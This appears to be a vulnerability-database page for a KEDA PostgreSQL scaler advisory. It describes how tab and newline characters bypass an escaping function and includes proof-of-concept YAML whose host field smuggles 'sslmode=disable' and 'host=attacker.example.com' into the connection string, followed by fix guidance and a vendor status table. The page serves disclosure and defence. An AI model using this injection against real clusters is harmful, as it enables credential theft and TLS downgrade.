Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
Lowered AC to L because tab injection into a hostname field is trivially simple for any tenant once the technique is known; PR:L retained as ScaledObject creation rights are required.
Primary rating from Vendor (https://github.com/kedacore/keda).
CVSS VectorVendor: https://github.com/kedacore/keda
Lifecycle Timeline
1DescriptionCVE.org
Summary
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
pkg/scalers/postgresql_scaler.go, lines 155-164 and 250-257.
Impact
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
- Force
sslmode=disableon a connection that the cluster owner intended to be TLS-only - silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (
host=...) to steal the credentials the operator supplies via thepassword=keyword. - Append arbitrary libpq runtime parameters (
options=,application_name=,target_session_attrs=) to pivot behavior.
Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration - injected host= still redirects the subsequent password= keyword's target.
Proof of concept
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.
Suggested fix
- Escape / reject any ASCII whitespace (
\t,\n,\r,\f,\v, space) and backslash. - Prefer the URI form (
postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.
Resources
pkg/scalers/postgresql_scaler.go- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
AnalysisAI
Connection string injection in KEDA's PostgreSQL scaler allows low-privileged tenants to inject arbitrary libpq connection parameters by embedding tab, newline, or other non-space whitespace characters into ScaledObject or TriggerAuthentication configuration fields. The escapePostgreConnectionParameter function in pkg/scalers/postgresql_scaler.go only detects literal spaces before quoting values, leaving all other libpq token delimiters unescaped; successful exploitation forces TLS downgrade (sslmode=disable) or redirects database connections to attacker-controlled hosts to steal operator-supplied credentials. A working proof-of-concept YAML payload is included in GitHub advisory GHSA-6w3m-4hhp-775q; no CISA KEV listing was present at time of analysis.
Technical ContextAI
KEDA (Kubernetes Event-Driven Autoscaling) builds PostgreSQL connection strings by concatenating key=value pairs in buildConnArray, relying on escapePostgreConnectionParameter to sanitize tenant-supplied fields (host, port, userName, dbName, sslmode). The function only quotes and escapes values when a literal space character is detected, but the underlying pgx/libpq parser treats tab (\t), newline (\n), carriage return (\r), form feed (\f), and vertical tab (\v) as equivalent token delimiters per the libpq connection string specification. A crafted value such as legit.db.svc\tsslmode=disable\thost=attacker.example.com contains no space, passes through the function entirely unmodified, and is then split by pgx into three distinct key=value tokens that override intended connection parameters. The affected package is pkg:go/github.com_kedacore_keda_v2, with vulnerable logic at lines 155-164 and 250-257. CWE-74 (Injection) describes this root cause class: insufficient normalization of all valid delimiter characters in an injection context before interpolating untrusted data into a structured format.
RemediationAI
No vendor-released patch version was identified in the available advisory data at time of analysis; the KEDA releases page and GitHub advisory at https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q should be monitored for a confirmed fix version. The upstream-suggested fix requires modifying escapePostgreConnectionParameter to detect and reject or escape all ASCII whitespace (tab, newline, carriage return, form feed, vertical tab, and space) plus backslash characters, or preferably replacing key=value string construction with URI-form connection strings (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding, which eliminates the delimiter injection surface entirely. As an immediate compensating control, restrict Kubernetes RBAC so that only cluster operators - not tenants - can create or modify ScaledObject and TriggerAuthentication resources that reference the postgresql trigger type; this removes the PR:L attack path at the cost of reduced tenant self-service capability. Alternatively, validate each connection field against strict allowlist patterns (hostname regex, numeric-only port, alphanumeric database and username identifiers) before interpolation into the connection string.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
Vendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-64131
GHSA-6w3m-4hhp-775q